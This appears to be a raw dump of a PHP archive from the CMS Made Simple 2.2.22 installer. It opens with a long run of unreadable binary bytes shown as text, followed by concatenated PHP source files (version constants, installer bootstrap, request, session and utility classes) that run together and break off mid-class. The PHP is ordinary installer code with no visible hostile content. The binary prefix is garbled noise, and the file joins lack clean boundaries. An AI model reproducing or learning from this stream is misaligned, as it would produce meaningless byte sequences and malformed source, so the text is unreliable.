f;T ðxQ\B˓b3gvh|ms .ݽ캽y|e7f;m})FJ"<mow(yxM怘vUFe+`^zxo[%Po;Dtn)r8 ۔P #*rb:5ӕكWE"\BW>Ict`{$m5vcߍ?DI&׉u5qIat6w!gpZn֜  n6qMHgn{";~Wi?_dـ Va_pH'_?L?	N<x7@?.61BOFWV_ZᑗJ-%'+K]_B-ݝ?@~!9d@44//,OWJ?Q7g;O+@~f~ZM[[*5^>2x]͍P*k@!)؃&iCp? L/=nx1臓^XxKZz7:v?u(?wrXtñ,Ϋ	NP/wH"'c.xn !q{wRtЃfNnjw9[	aE)@$0ƭglX̶!UP֥aXv_q'2O'̰Sw0cc/I0ؚ@&DAr قz?"Pw0n?zUMzC8	2yF	MR⇓*`0Ć̩5ˀ%R&kU6Nra_4,.$
`v1dGL#bòU<*9U_b?ɋ&QL߉#C mAGiL*X/؞U7@LMF)]85#<u'P:S7zI*6Hz\! A&08l5>k(ˌؓt(àw旋k2]WeM60X5-zOjKż#>zI*.6t^ǙǺz!"Nmnd{[r^SÌ*`)6nW	/*z1 AR]G3-Oݽ.SUEA@M	C:rҘ0@&c@Hdca9m
N\kk0'<z{({l$<N&,Z?Aq%8Խxt/G^2LULuŬn>CF[Cg	ܨh#/Jj{ߊ\.FifFGL;ӡَ2qRvF;X5ͯJ!mɦ#z:leT Ltc;?>u[Q)L_b_A$vq^)vaBLQsduk)fYGlȰS4ÃZBqP+li7	:10 Xĳs]rDN$@ƮG*g	|AHML
͟;VAI
~l`}Ue[+kfBL=w5Uʱ=Jh[acf oƎB}vHW4=ea*<oMx)h92RN,DU҇eMSCM&uJkt4^ȯ?~QX[,*t_
FH(X|#Z`0_?}C:7z3cj`TvcA2m9}wNqc%[$
Yv2ZtHIFؾVlʌ|4CWX/}kt-+g/'KCRa{Qba֩JAm\hAKlo_V'Nm6D}`'avM^7~җJnvS}	{8׃.=.qT㔕S-Ek׳{3~z+$<żgՃ4vO!lD]R~ns3q!WR&7$3;mϛ U(qg=2D8G`15u+l6D>]	^<	>M3^av_#6ۿ:4p|æAvB
>y^}h׷z&#ХZQ@#VVq e..<F"V$/k-A__!;Ka+?q3E B-(0N')-WCVa(oOWkr1vF~V[ }4?*Լ<S}܄Q*esسzR_o$ ୟ&9~eC#RmxF52~xs̘i A=plJAD26X=$y)RQܙDW.2xkPQAS<,#{*jkwd$#I8ΈT	M,]{ܒd0_i=u_ Fi77H!#UIֱxxZE⮛^_vłɬև/CBbhJG̊ޛĠ=̰;e# "u.2-~5<璌Muլ'ze6'OT^Z$Ei>í#ܥP=E;\|A?*_׍(fP/XgbGvdbLrcè-Qe.,0Q%Gqo~C`X=E >-qDA|2'O!=毟(U^}ö0x8MZ"y]ZN뾍Yytͩ3949w}_xq%7R}(:WU/r=o{[pq/`DeAd{Y?VL3pEae딒mSGGbO/`L~UyҢFQ5t~uِײ:<wsw&#rל{?o9gEkڽoLԣ8`ωXc6fzBonSGRQS.ױSTU#y!lϘ߻<QLge70(u,(Z8XhVL&U٠zgOPNv)v*:Y2__=["QGGEWV3D7v&׏,sR6KMo#;;5`hiUƏZ5n-TR%U4Q3;2FtōOD`lZLl-Cb.mIZOfaxdcRnFHT1Ϟ2k"$yx	'YU˺q_Q]Yjٙevq\Q5:~K$)<	c:0yF=P-ll$, 1&4	V {FӸ)ɠ(2;NOW`VS?;WNT}꘨0ĝi讅mwBZ"7Z͊w1|C7u@(tbEb sеbF{5pzi?])f[HX3ce@p{USV+RP06HaٯH3~ڨFӞ.mdY.is157I"[S?=^Z\B=+go=^ɔUlڼf5E/Ȱ0]qNέFmA;IcbWOibR;>~
Ġba6
n1`i_%\RnԏDvP5ڥM:qMb,E_o#Q_?m\|thU{ݪ)Rv8ySZ䚛D-[.jŻhUz5PAZ	]DQ8Nl3S6UR黯ڿ+X3=
'jM3D:Lk+SK4aӏFa:;"D'U]3cˑIWO܍C<VZ/ xدΠ]oF[+]T@KT]5rV|(ܺꇤjDxBW5IdS'&4/=	EnnP/wy`xS޸_¤W6Jޏc!Ɇ\
J'%ތIO2UQH*wvڄtVa[<`F'X!θcm_w"|f{+k!ѠИ24 ~>y*i3d;ː5{	ƎC9^ܪkשȡW
-D@G{B0λжꕷ4o8pA8r~KF%[D=~q|TxAzW=jN~2}Pze^UЏzkLAoe-Q#3f\~lЉUM͕_TޥSdRx7TG+}oyKB\v>T)~$n˼?m/	5- =7=pS	^P ;~͚U1<v5LO\.I8bT ߋ-g_U 7X"+4B ~nޓiyR&LH[ZPAzbi7ܝb}I.|ؤot̰b׋iG?]lq$#|矷qiS_X.#ac:ěYjta5Rd>#Ox}q1ڙa
DU!^F-av$/k@Uxse"u?=	
|?nr.LKSgl8Q>W>ۃHM߄Ϗ^az{`C쎰N}iulJ48ɤ\Z(ˎk{ΞP%iI-DAUUcd`,VUAQIŽιX`K;+OL8d(!]
cUW#԰&aZ	4h5m$6[Y]u	'4'fl߼tc9".3þJV΄d|w\()[I)bx잠!4<8~
~Srr}'BhuGC{79oT\*\YhYލ8fPA	0TB4</Ecqt=OCA{a1*5{"-|bR)ljPcEUvzsbn!;zsQ C(tlr|Iϭ4atkFa(8 {~8Ԯ&GUaٮ?hbN?Kh
{w3ľ?|3	t]Hܙv,:͗|)nK~	#ajo5/w`4VfO:6wFoˁM=@QJpQ&*r/S5JǼNL{o
EO|3S2W'B\ƪ T3_;uoJzCfo5/t3	/NӍ3w2݉t>bIݪ/'EY \Gu22"h/LBbdlpM&X$#)tR{tR<zFB]iE$lr$̠1eB#t&ck',O6fY-˞e/=cכ+򁩿QL 4|pkT(@]E.swJfZ-ט_7}o#yמTˑ=R'?\@-~~p'E²>%&=[Y%O7㾓DL˺eWz[=pO+,B@`R.O1W:7t[59̰?zfݤPjg}9FT^DDDtAQVgjLk4 bUȐ+C{Uf*N:gDN}HNdҍIfT3O[ij0 /QZN!	!/#G9'==ۊ#qK6\l'AC6O7Z%ǉσb^d=*t}=#\q'J`xݺl},w5sn4k-QX=Gia0WV̲	MUս1pΞWYC|Ş-%n
;Ksߜ^lp8,b\Sfރ8?/sV8s|˱oYXKx_
(>ܗubE0-oݬ\Z?TWDmF]̀-L&7o_S斡\븁ȌCW8TsF;+ޟ<c5`PX%S%8c{{_̣nv:X/v	he>Ƞ~Cf< (_sb}j~̍Wk	 A ;/b/Yc	JF4wu_&l-جVo9釧9j9!w%0/|c8ջ*߳ӿ-X`$h#F?7ZEq> {1oL4d>Z0v[3N80	}o>
LHyaSKT(/t=5bR0HYBMI5$: W o'F5߶2Ȝ>,U3gL''
8P(½mͼ<ՙ,OJ K`JxO:+i^*J=Sd;eĘ--A!6
EGvk=zhB5;#mѮO}eKb3
{o&$2Uaj=G۰9,[S@jAɷ9jW7/п?_$, zkAB+9:ϼX .GX{cos(8kdQy=TH ji0#D*:(<3^Ů
r+16r?q8Ͼ;鳣Ur6~I	sdS~MVИ}{	
G& 5qU,$%=WVI&BhMa,!=8RBZ$M76rE1U#O}8<>$%6UȄ9_Vr@P:+6MВTMOYlo+0cn"YzFW[o0ɯI܌gΡ5<}"J8d9\م,]1P?!%8^Kǽvda-Q8c*sVeoC~^"Ob֭E
Mvkw;A%wge3ӹW^J0{
܃xO#Ljm޿?٧)IOtx/>5rKts|U&-ғEZ`#,j.4tPDn7NA}3	2a̣dn'fܺHDj_4 P3}C- y}<ĭ)<`G.^Z }D2 aMH.d{&rdSw`(^<:㖆uY8%ɚ	~x?imH3Jvwkə)@x.qP]n$G5)^!)=*(e(arj:#jRÀIGhn=>QQ=Yrac,ϱLl&4pNhSKĊ:fYX#Y1FV(Mv4H`KeϘ 5֕Ir  _)0|N }|
Ȓ $mA4mTߵ:E:;$)HԏM߉&tY?Nㆻ	<ZʔftA	Tk\_'~^*KB@_/HTR=N4it0bЕl~\ 7a:Gxo!U DxhqH0uikn&dn_AS
/^LYgѽ\+qnV }A@&BxT"xS>>\ 3gDL$CKjX!wt4.`AcyƌD:- ctk>\15	)~@{XG,@*!ĀM	U9>c^]	Z08w cl0;}
9̶S*`:2.F)	GDFe%)=TͰ
؆	kq J?ffw4f䂰o$~^Op}*95̰ۻ@$	e~ff{/V lmCu-zW?	rĴtJd)BT$w+- Ͱn[!ATs];=E
pk#:,6V9>R꼞klr/¦x7Xw,	Jؓۻtܟ2iؗ$L]BD|CSBH~2 `C}/Em    :/ J<?php
#---------------------------------------------------------------------------
# CMS Made Simple - Power for the professional, Simplicity for the end user.
# (c) 2004 - 2011 by Ted Kulp
# (c) 2011 - 2018 by the CMS Made Simple Development Team
# (c) 2018 and beyond by the CMS Made Simple Foundation
# This project's homepage is: https://www.cmsmadesimple.org
#---------------------------------------------------------------------------
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
# Or read it online: http://www.gnu.org/licenses/licenses.html#GPL
#---------------------------------------------------------------------------
$CMS_VERSION = '2.2.22';
$CMS_VERSION_NAME = 'Saskatoon';
$CMS_SCHEMA_VERSION = '202';

define('CMS_VERSION', $CMS_VERSION);
define('CMS_VERSION_NAME', $CMS_VERSION_NAME);
define('CMS_SCHEMA_VERSION', $CMS_SCHEMA_VERSION);

#
# EOF
#<?php
#---------------------------------------------------------------------------
# CMS Made Simple - Power for the professional, Simplicity for the end user.
# (c) 2004 - 2011 by Ted Kulp
# (c) 2011 - 2018 by the CMS Made Simple Development Team
# (c) 2018 - 2020 by the CMS Made Simple Foundation
# This project's homepage is: https://www.cmsmadesimple.org
#---------------------------------------------------------------------------
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation; either version 2 of the License, or
# (at your option) any later version.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
# Or read it online: http://www.gnu.org/licenses/licenses.html#GPL
#---------------------------------------------------------------------------

//
// initialization
//
namespace cms_autoinstaller;

try {
    function _detect_bad_ioncube()
    {
        if( \extension_loaded('ionCube Loader') ) {
            if( \function_exists('ioncube_loader_version') ) {
                $ver = \ioncube_loader_version();
                if(\version_compare($ver, '4.1') < 0 ) throw new \RuntimeException('An old version of ioncube loader was detected.  Older versions are known to have problems with PHAR files. Sorry, but we cannot continue.');
            }
        }
    }

    // some basic system wide pre-requisites
    if("cli" == \php_sapi_name()) throw new \RuntimeException("We are sorry but:\n\nCLI based execution of this script is not supported.\nPlease browse to this script with a compatible browser");
    if( \version_compare(\phpversion(),'5.4.0') < 0 ) throw new \RuntimeException('We are sorry, but this installer requires at least PHP 5.4.0');
    _detect_bad_ioncube();
    
    // clear opcache before disabling it
    if(\function_exists('opcache_get_status' ) && \opcache_get_status() ) \opcache_reset();
    // disable some stuff.
    @\ini_set('opcache.enable', 0);     // disable zend opcode caching.
    @\ini_set('apc.enabled', 0);        // disable apc opcode caching (for later versions of APC)
    @\ini_set('xcache.cacher', 0);      // disable xcache opcode caching

    require_once('app/class.cms_install.php');
    $app = new cms_install;
    $app->run();
}
catch( \Exception $e ) {
    // this handles fatal, serious errors.
    // cannot use stylesheets, scripts, or images here, as the problem may be a phar based problem
    $out = <<<EOT
<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>CMS Made Simple Installer: Fatal Error</title>
  </head>
  <body>
    <div style="border-radius: 3px; max-width: 85%; margin: 10% auto; font-family: Arial, Helvetica Neue, Helvetica, sans-serif; background-color: #f2dede; border: 1px solid #ebccd1; color: #a94442; padding: 15px;">
      <h1>Fatal Error</h1>
      <p>[message]</p>
    </div>
  </body>
</html>
EOT;
    # build the message but remove the __DIR__ stuff
    $message = '<strong>' . \str_replace("\n", '<br>', $e->getMessage()) . '</strong><br>';
    $message .= '<p><small>' . "\n\n" . \str_replace("\n", '<br>', $e->getTraceAsString()) . '</small></p>';
    $message = \str_replace(__DIR__, '', $message);
    $message = \preg_replace('/(require_once\(.*\))/m', '<em>--redacted--</em>', $message);
    
    echo \str_replace('[message]', $message, $out);
}

?>
<?php

namespace __appbase;

function smarty()
{
  return cms_smarty::get_instance();
}

function nls()
{
  return nlstools::get_instance();
}

function translator()
{
  return langtools::get_instance();
}

?><?php

namespace __appbase;

require_once(__DIR__.'/compat.functions.php');
require_once(__DIR__.'/misc.functions.php');
require_once(\dirname(__DIR__) . '/accessor.functions.php');

abstract class app
{
  public const CONFIG_ROOT_URL = 'root_url';
  
  private static $_instance;
  private $_config;
  private $_appdir;
  
  public function __construct($filename)
  {
    if( \is_object(self::$_instance) ) throw new \RuntimeException('Cannot create another object of type app');
    self::$_instance = $this;
    
    \spl_autoload_register(__NAMESPACE__ . '\app::autoload');
    
    if( $filename ) {
      $this->_appdir = \dirname($filename);
      $config_file = $this->_appdir.'/config.ini';
      if( \file_exists($config_file) ) $this->_config = \parse_ini_file($config_file);
    }
  }
  
  /**
   * @return \__appbase\app|static
   * @throws \Exception
   */
  public static function get_instance()
  {
    if( !\is_object(self::$_instance) )	throw new \RuntimeException('There is no registered app instance');
    return self::$_instance;
  }
  
  public function get_name()
  {
    return __CLASS__;
  }
  
  /**
   * @throws \Exception
   */
  public static function get_tmpdir()
  {
    // not modifiable, ye
    return \__appbase\utils::get_sys_tmpdir();
  }
  
  public static function get_appdir()
  {
    return self::$_instance->_appdir;
  }
  
  public static function get_rootdir()
  {
    return \dirname(__DIR__, 3);
  }
  
  public static function get_rooturl()
  {
    $config = self::$_instance->get_config();
    if( $config && isset($config[self::CONFIG_ROOT_URL]) ) { return $config[self::CONFIG_ROOT_URL]; }
    
    $request = request::get();
    
    return \dirname($request['SCRIPT_FILENAME']);
  }
  
  public function get_config()
  {
    return self::$_instance->_config;
  }
  
  /**
   * @throws \Exception
   */
  public static function clear_cache($do_index_html = TRUE)
  {
    $rdi = new \RecursiveDirectoryIterator(self::$_instance->get_tmpdir());
    $rii = new \RecursiveIteratorIterator($rdi);
    foreach( $rii as $file => $info ) {
      if( $info->isFile() ) @\unlink($info->getPathInfo());
    }
    
    if( $do_index_html ) {
      $rdi = new \RecursiveDirectoryIterator(self::$_instance->get_tmpdir());
      $rii = new \RecursiveIteratorIterator($rdi);
      foreach( $rii as $file => $info ) {
        if( $info->isFile() ) @\touch($info->getPathInfo() . '/index.html');
      }
    }
  }
  
  static public function autoload($classname)
  {
    $dirsuffix = \dirname(\str_replace('\\', '/', $classname));
    $classname = \basename(\str_replace('\\', '/', $classname));
    $dirsuffix = \str_replace('__appbase', '.', $dirsuffix);
    //if( $dirsuffix == "__appbase" ) $dirsuffix = '.';
    
    $dirs = array(__DIR__, \dirname(__DIR__), \dirname(__DIR__) . '/tests', \dirname(__DIR__) . '/base', dirname(dirname(__DIR__)) );
    foreach( $dirs as $dir ) {
      $fn = "$dir/$dirsuffix/class.$classname.php";
      if( \file_exists($fn) ) {
        include_once($fn);
        return;
      }
    }
  }
  
  abstract public function run();
  
} // end of class

/**
 * @throws \Exception
 */
function get_app()
{
  return app::get_instance();
}

?>
<?php

namespace __appbase;

class request implements \ArrayAccess
{
  private static $_instance;
  private $_data;
  const METHOD_POST = 'POST';
  const METHOD_GET  = 'GET';

  private function __construct()
  {
  }

  public static function get()
  {
    if( !self::$_instance ) self::$_instance = new request();
    return self::$_instance;
  }
  
  #[\ReturnTypeWillChange]
  public function offsetExists($key)
  {
    if( isset($_REQUEST[$key]) ) return TRUE;
    return FALSE;
  }
  
  #[\ReturnTypeWillChange]
  public function offsetGet($key)
  {
    if( isset($_REQUEST[$key]) ) return $_REQUEST[$key];
  }
  
  #[\ReturnTypeWillChange]
  public function offsetSet($key,$value)
  {
    if( isset($_REQUEST[$key]) ) return $_REQUEST[$key];
  }
  
  
  #[\ReturnTypeWillChange]
  public function offsetUnset($key)
  {
    throw new \RuntimeException('Attempt to unset a request variable');
  }

  public function raw_server($key)
  {
    if( isset($_SERVER[$key]) )
      return $_SERVER[$key];
  }

  public function __call($fn,$args)
  {
    $key = \strtoupper($fn);
    if( isset($_SERVER[$key]) )	return $this->raw_server($key);
    throw new \RuntimeException('Call to unknown method ' . $fn . ' in request object');
  }

  public function self()
  {
    return $this->raw_server('PHP_SELF');
  }

  public function method()
  {
    if( $this->raw_server('REQUEST_METHOD') == 'POST' ) {
      return self::METHOD_POST;
    }
    elseif( $this->raw_server('REQUEST_METHOD') == 'GET' ) {
      return self::METHOD_GET;
    }
    throw new \RuntimeException('Unhandled request method ' . $_SERVER['REQUEST_METHOD']);
  }

  public function is_post()
  {
    return ($this->method() == self::METHOD_POST)?TRUE:FALSE;
  }

  public function is_get()
  {
    return ($this->method() == self::METHOD_GET)?TRUE:FALSE;
  }

  public function accept()
  {
    return $this->raw_server('HTTP_ACCEPT');
  }

  public function accept_charset()
  {
    return $this->raw_server('HTTP_ACCEPT_CHARSET');
  }

  public function accept_encoding()
  {
    return $this->raw_server('HTTP_ACCEPT_ENCODING');
  }

  public function accept_language()
  {
    return $this->raw_server('HTTP_ACCEPT_LANGUAGE');
  }

  public function host()
  {
    return $this->raw_server('HTTP_HOST');
  }

  public function referer()
  {
    return $this->raw_server('HTTP_REFERER');
  }

  public function user_agent()
  {
    return $this->raw_server('HTTP_USER_AGENT');
  }

  public function https()
  {
    if( isset($_SERVER['HTTPS']) && 'on' != \strtolower($_SERVER['HTTPS'])) return TRUE;
    return FALSE;
  }

} // end of class

?><?php

namespace __appbase;

final class session implements \ArrayAccess
{
  private static $_instance;
  private static $_session_id;
  private static $_key;
  private $_data;
  private function __construct() {}

  private static function start()
  {
      if( !self::$_key ) {
          $session_key = \substr(\md5(__DIR__), 0, 10);
          @\session_name('CMSIC' . $session_key);
          @\session_cache_limiter('private'); # TODO: may also be worthwhile to set this to 'no-cache' instead (JM 2016-08-25)
          $res = null;
          if( !@\session_id() )
          {
            if (PHP_SESSION_ACTIVE === \session_status()) { \session_destroy(); }  # TODO: alternative to set to 'no-cache' (JM 2016-08-25)
   
            $res = @\session_start();
          }
          if( !$res ) throw new \RuntimeException('Problem starting the session (system configuration problem?)');
          self::$_session_id = \session_id();
          self::$_key = 'k' . \md5(self::$_session_id);
      }
  }

  private function _collapse()
  {
    self::start();
    if( $this->_data ) $_SESSION[self::$_key] = \serialize($this->_data);
    $this->_data = null;
  }

  private function _expand()
  {
    self::start();
    if( !\is_array($this->_data) ) {
      $this->_data = [];
      if( isset($_SESSION[self::$_key]) ) {
          $this->_data = \unserialize($_SESSION[self::$_key]);
      }
    }
  }

  public static function clear()
  {
      self::start();
      unset($_SESSION[self::$_key]);
  }

  public static function get()
  {
    if( !self::$_instance ) self::$_instance = new session;
    return self::$_instance;
  }

  public function reset()
  {
      $this->_data = null;
      self::clear();
      $this->_expand();
  }
  
  #[\ReturnTypeWillChange]
  public function offsetExists($key)
  {
    $this->_expand();
    if( isset($this->_data[$key]) ) return TRUE;
    return FALSE;
  }
  
  #[\ReturnTypeWillChange]
  public function offsetGet($key)
  {
    $this->_expand();
    if( isset($this->_data[$key]) ) return $this->_data[$key];
  }
  
  #[\ReturnTypeWillChange]
  public function offsetSet($key,$value)
  {
    $this->_expand();
    $this->_data[$key] = $value;
    $this->_collapse();
  }
  
  #[\ReturnTypeWillChange]
  public function offsetUnset($key)
  {
    $this->_expand();
    if( isset($this->_data[$key]) ) {
      unset($this->_data[$key]);
      $this->_collapse();
    }
  }
} // end of class

?>
<?php

namespace __appbase;

class utils
{
    private static $_writable_error = [];

    private function __construct() {}
    
    public static function redirect($to)
    {
        $_SERVER['PHP_SELF'] = null;
        $schema = '443' == $_SERVER['SERVER_PORT'] ? 'https' : 'http';
        $host = \strlen($_SERVER['HTTP_HOST'])? $_SERVER['HTTP_HOST']: $_SERVER['SERVER_NAME'];
        
        $components = \parse_url($to);

        if (\count($components) > 0) {
            $to =  (isset($components['scheme']) && startswith($components['scheme'], 'http') ? $components['scheme'] : $schema) . '://';
            $to .= $components['host'] ?? $host;
            $to .= isset($components['port']) ? ':' . $components['port'] : '';
            if(isset($components['path'])) {
                if(\in_array($components['path'][0], ['\\', '/'])) { //Path is absolute, just append.
                    $to .= $components['path'];
                }
                //Path is relative, append current directory first.
                else if (isset($_SERVER['PHP_SELF'])) { //Apache
                    $to .= (\strlen(\dirname($_SERVER['PHP_SELF'])) > 1 ? \dirname($_SERVER['PHP_SELF']) . '/' : '/') . $components['path'];
                }
                else if (isset($_SERVER['REQUEST_URI'])) { //Lighttpd
                    if (endswith($_SERVER['REQUEST_URI'], '/'))
                        $to .= (\strlen($_SERVER['REQUEST_URI']) > 1 ? $_SERVER['REQUEST_URI'] : '/') . $components['path'];
                    else
                        $to .= (\strlen(\dirname($_SERVER['REQUEST_URI'])) > 1 ? \dirname($_SERVER['REQUEST_URI']) . '/' : '/') . $components['path'];
                }
            }
            else {
                $to .= $_SERVER['REQUEST_URI'];
            }
            $to .= isset($components['query']) ? '?' . $components['query'] : '';
            $to .= isset($components['fragment']) ? '#' . $components['fragment'] : '';
        }
        else {
            $to = $schema."://".$host."/".$to;
        }

        \session_write_close();

        if(\headers_sent() ) {

            // use javascript instead
            echo '<script type="text/javascript"><!-- location.replace("'.$to.'"); // --></script><noscript><meta http-equiv="Refresh" content="0;URL='.$to.'"></noscript>';
            exit;
        }
        else {
            \header("Location: $to");
            exit();
        }
    }

    public static function to_bool($in,$strict = FALSE)
    {
        $in = \strtolower((string) $in);
        if( \in_array($in, ['1', 'y', 'yes', 'true', 't', 'on']) ) return TRUE;
        if( \in_array($in, ['0', 'n', 'no', 'false', 'f', 'off']) ) return FALSE;
        if( $strict ) return null;
        return (bool)$in;
    }

    public static function clean_string($val)
    {
        if( !$val ) return $val;
        $val = (string) $val;
        $val = \preg_replace("/\\\$/", '$', $val);
        $val = \preg_replace("/\r/", "", $val);
        $val = \str_replace(['!', "'"], ['!', "'"], $val);
        
        return \strip_tags($val);
    }
  
  /**
   * cleans passwords for config.php mainly db pass.
   * we don't want quotes on the string
   * @since 1.3.13
   * @param $val
   *
   * @return string|string[]
   */
    public static function clean_password($val)
    {
      if( !$val ) return $val;
      $val = \trim((string) $val );
      $val = \str_replace(["'", '"'], '', $val);
  
      return $val;
    }

    public static function get_sys_tmpdir()
    {
        $vars = ['TMP', 'TMPDIR', 'TEMP'];
        foreach( $vars as $var ) {
            if( isset($_ENV[$var]) && $_ENV[$var] ) {
                $tmp = \realpath($_ENV[$var]);
                if( $tmp && @\is_dir($tmp) && @\is_writable($tmp) ) return $tmp;
            }
        }

        $tmpdir = \ini_get('upload_tmp_dir');
        if( $tmpdir && @\is_dir($tmpdir) && @\is_writable($tmpdir) ) return $tmpdir;
        
        
        /**
         * sys_get_temp_dir() is available in PHP >= 5.3, so we can use it.
         * In any case, this should wrap it, no more need for a fallback.
         */
//        if( \function_exists('sys_get_temp_dir') ) {
            $tmp = \rtrim(\sys_get_temp_dir(), '\\/');
            if( $tmp && @\is_dir($tmp) && @\is_writable($tmp) ) return $tmp;
//        }

        /** safe mode was removed in PHP 5.4.0. */
//        if('1' != \ini_get('safe_mode')) {
            // last ditch effort to find a place to write to.
            $tmp = @\tempnam('', 'xxx');
            if($tmp && \file_exists($tmp) ) {
                @\unlink($tmp);
                return \realpath(\dirname($tmp));
            }
//        }
        
        throw new \RuntimeException('Could not find a writable location for temporary files');
    }

    public static function is_email($str)
    {
        return \filter_var($str, \FILTER_VALIDATE_EMAIL);
    }

    /**
     * Check the permissions of a directory recursively to make sure that
     * we have write permission to all files and folders.
     *
     * @param  string  $path Start directory.
     * @param  bool    $ignore_specialfiles  Optionally ignore special system files in the check.  Special files include files beginning with ., and php.ini files.
     * @return bool
     */
    public static function is_directory_writable( $path, $ignore_specialfiles = TRUE )
    {
        if ('/' != \substr ($path , \strlen ($path ) - 1 )) $path .= '/' ;
        
        $p      = '';
        $result = TRUE;
        
        if( $handle = @\opendir($path ) ) {
            while( false !== ( $file = \readdir($handle ) ) ) {
                if( $file == '.' || $file == '..' ) continue;

                // ignore dotfiles, except .htaccess.
                if( $ignore_specialfiles ) {
                    if( $file[0] == '.' && $file != '.htaccess' ) continue;
                    if( $file == 'php.ini' ) continue;
                }

                $p = $path.$file;
                if( !@\is_writable($p ) ) {
                    self::$_writable_error[] = $p;
                    @\closedir($handle );
                    return FALSE;
                }

                if( @\is_dir($p ) ) {
                    $result = self::is_directory_writable( $p, $ignore_specialfiles );
                    if( !$result ) {
                        self::$_writable_error[] = $p;
                        @\closedir($handle );
                        return FALSE;
                    }
                }
            }
            @\closedir($handle );
        }
        else {
            self::$_writable_error[] = $p;
            return FALSE;
        }

        return TRUE;
    }


    public static function get_writable_error()
    {
        return self::$_writable_error;
    }

    public static function rrmdir($dir)
    {
        if (\is_dir($dir)) {
            $objects = \scandir($dir);
            foreach ($objects as $object) {
                if ($object != '.' && $object != '..') {
                    if (\filetype($dir . '/' . $object) == 'dir') self::rrmdir($dir . '/' . $object); else \unlink($dir .
                                                                                                                   '/' . $object);
                }
            }
            \reset($objects);
            \rmdir($dir);
        }
    }

} // end of class
?>
<?php

// compatibility stuff
if( !function_exists('gzopen') && function_exists('gzopen64') ) {
    function gzopen($filename , $mode , $use_include_path = 0) {
        return gzopen64($filename, $mode, $use_include_path);
    }
}

?><?php

namespace __appbase;

function startswith($haystack,$needle) : bool
{
  return (\substr($haystack, 0, \strlen($needle)) == $needle);
}

function endswith($haystack,$needle) : bool
{
  return (\substr($haystack, -1 * \strlen($needle)) == $needle);
}

?>
<?php

namespace __appbase;

use cms_autoinstaller\smarty_phar_resource;

require_once(\dirname(__FILE__, 2) . '/Smarty/Smarty.class.php');

class cms_smarty extends \Smarty
{
  private static $_instance;
  
  /**
   * @throws \SmartyException
   * @throws \Exception
   */
  public function __construct()
  {
    parent::__construct();
    
    $app     = get_app(); # may not be needed
    $rootdir = app::get_rootdir();
    $tmpdir  = app::get_tmpdir() . '/m' . \md5(__FILE__);
    $appdir  = app::get_appdir();
    $basedir = \dirname(__FILE__, 3);
    
    $this->setTemplateDir($appdir.'/templates');
    $this->setConfigDir($appdir.'/configs');
    $this->setCompileDir($tmpdir.'/templates_c');
    $this->setCacheDir($tmpdir.'/cache');

    $this->registerPlugin('modifier', 'tr', [$this, 'modifier_tr']);
    
    # for debugging purposes
    # $this->registerResource('phar', new smarty_phar_resource());
    $dirs = [$this->compile_dir, $this->cache_dir];
    
    foreach($dirs as $iValue)
    {
      
      if(!@\mkdir($concurrentDirectory = $iValue, 0777, TRUE) && !\is_dir($concurrentDirectory))
      {
        throw new \RuntimeException(\sprintf('Directory "%s" was not created', $concurrentDirectory));
      }
      if( !\is_dir($iValue) )
      {
        throw new \RuntimeException('Required directory ' . $iValue . ' does not exist');
      }
    }
  }

  public static function get_instance()
  {
    if( !\is_object(self::$_instance) ) self::$_instance = new cms_smarty;
    return self::$_instance;
  }

  public function modifier_tr()
  {
    $args = \func_get_args();
    return langtools::get_instance()->translate($args);
  }
}

?><?php

namespace __appbase;

function &get_db()
{
  require_once(dirname(__DIR__).'/adodb_lite/adodb.inc.php');
  
}

?><?php

namespace __appbase;

/**
 * @package CMS
 */

/**
 * HTTP Class
 *
 * This is a wrapper HTTP class that uses either cURL or fsockopen to
 * harvest resources from web. This can be used with scripts that need
 * a way to communicate with various APIs who support REST.
 *
 * @author      Md Emran Hasan <phpfour@gmail.com>
 * @package     HTTP Library
 * @copyright   2007-2008 Md Emran Hasan
 * @link        http://www.phpfour.com/lib/http
 * @since       Version 0.1
 *
 * Modified by Robert Campbell (calguy1000@cmsmadesimple.org)
 * Renamed the class to cms_http_request
 * Fixed some bugs.
 */

class http_request
{
    /**
     * Contains the target URL
     *
     * @var string
     */
    private $target;

    /**
     * socket
     *
     */
    private $_socket;

    /**
     * Contains the target host
     *
     * @var string
     */
    private $host;

    /**
     * Contains the target port
     *
     * @var integer
     */
    private $port;

    /**
     * Contains the target path
     *
     * @var string
     */
    private $path;

    /**
     * Contains the target schema
     *
     * @var string
     */
    private $schema;

    /**
     * Contains the http method (GET or POST)
     *
     * @var string
     */
    private $method;

    /**
     * Contains raw post data
     *
     * @var str
     */
    private $rawPostData;

    /**
     * Contains the parameters for request
     *
     * @var array
     */
    private $params;

    /**
     * Contains the cookies for request
     *
     * @var array
     */
    private $cookies;

    /**
     * Contains the cookies retrieved from response
     *
     * @var array
     */
    private $_cookies;

    /**
     * Number of seconds to timeout
     *
     * @var integer
     */
    private $timeout;

    /**
     * Whether to use cURL or not
     *
     * @var boolean
     */
    private $useCurl;

    /**
     * Contains the referrer URL
     *
     * @var string
     */
    private $referrer;

    /**
     * Contains the User agent string
     *
     * @var string
     */
    private $userAgent;

    /**
     * Contains the cookie path (to be used with cURL)
     *
     * @var string
     */
    private $cookiePath;

    /**
     * Whether to use cookie at all
     *
     * @var boolean
     */
    private $useCookie;

    /**
     * Whether to store cookie for subsequent requests
     *
     * @var boolean
     */
    private $saveCookie;

    /**
     * Contains the Username (for authentication)
     *
     * @var string
     */
    private $username;

    /**
     * Contains the Password (for authentication)
     *
     * @var string
     */
    private $password;

    /**
     * Contains the fetched web source
     *
     * @var string
     */
    private $result;

    /**
     * Contains the last headers
     *
     * @var string
     */
    private $headers;

    /**
     * Contains the last call's http status code
     *
     * @var string
     */
